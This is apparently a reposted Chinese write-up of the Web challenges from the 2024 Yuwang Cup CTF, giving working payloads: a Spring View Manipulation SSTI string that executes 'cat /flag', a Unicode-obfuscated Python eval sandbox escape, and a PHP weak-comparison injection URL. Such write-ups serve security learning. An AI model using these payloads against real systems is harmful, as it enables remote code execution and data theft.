【Web】御网杯信息安全大赛2024 wp(全)

目录

input_data

admin

flask

如此多的FLAG


一夜醒来之全国CTF水平提升1000倍😋

input_data

访问./.svn后随便翻一翻拿到flag

admin

dirsearch扫出来

访问./error看出来是java框架

测出来是/admin;/路由打Spring View Manipulation(Java)的SSTI

https://www.veracode.com/blog/secure-development/spring-view-manipulation-vulnerability

payload:

复制代码
/admin;/?path=__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat /flag%22).getInputStream()).next()%7D__%3A%3A.x

​​​​​​​

flask

题目附件

复制代码
from flask import Flask, request, Response
import random
import re

app = Flask(__name__)

@app.route('/')
def index():
    evalme = request.args.get('evalme')

    if ((not evalme) or re.search(r'[A-Zd-z\\. /*$#@!+^]', evalme)):
        return 'hacker?'

    with open(eval(evalme), 'rb') as f:
        return Response(f.read())


if __name__ == '__main__':
    app.run(port=8080)

用这个

GitHub - Macr0phag3/parselmouth: 自动化的 Python 沙箱逃逸 payload bypass 框架 / Automated Python Sandbox Escape Payload Bypass Framework

复制代码
python parselmouth.py --payload "'/flag'" --rule "__" "." "'" '"' "read" "chr" "\\" "/" "*" "$" "#" "@" "!" "+" "^" "A" "B" "C" "D" "E" "F" "G" "H" "I" "J" "K" "L" "M" "N" "O" "P" "Q" "R" "S" "T" "U" "V" "W" "X" "Y" "Z" "d" "e" "f" "g" "h" "i" "j" "k" "l" "m" "n" "o" "p" "q" "r" "s" "t" "u" "v" "w" "x" "y" "z"

删去空格得到payload:

复制代码
?evalme=𝒈𝒆𝒕a𝒕𝒕𝒓(𝒔𝒕𝒓(),𝒈𝒆𝒕a𝒕𝒕𝒓(𝒔𝒕𝒓(),𝒎a𝒙(𝒅𝒊c𝒕(𝒋𝒐𝒊𝒏=())))(𝒎a𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎a𝒑(𝒄𝒉𝒓,[47,102,108,97,103]))

如此多的FLAG

初始界面有提示

访问./F1aaj.php

看cookie

访问./FLLL4g.php

简单的php bypass,最后走一个eval代码注入变量覆盖弱比较

payload:

复制代码
http://101.200.58.4:20005/FLLL4g.php?X[]=99999&Y=0e1284838308&Z=1;$f1ag=0
相关推荐
OEC小胖胖9 小时前
告别 undefined is not a function:TypeScript 前端开发优势与实践指南
前端·javascript·typescript·web
skywalk81631 天前
2025年的前后端一体化CMS框架优选方案
cms·web
unable code1 天前
攻防世界-Rerverse-game
网络安全·ctf·reverse
百锦再2 天前
Vue中对象赋值问题:对象引用被保留,仅部分属性被覆盖
前端·javascript·vue.js·vue·web·reactive·ref
unable code2 天前
攻防世界-Reverse-insanity
网络安全·ctf·reverse
还鮟2 天前
CTF Web PHP弱类型与进制绕过(过滤)
php·ctf
玥轩_52113 天前
BUUCTF [UTCTF2020]File Carving 1
安全·网络安全·elf·ctf·misc·buuctf·png隐写
starstarzz16 天前
解决idea无法正常加载lombok包
java·ide·spring·intellij-idea·springboot·web
码农不惑16 天前
Rust使用tokio(二)HTTPS相关
https·rust·web·openssl
wyjcxyyy18 天前
DIDCTF-应急响应
笔记·ctf·应急响应与电子取证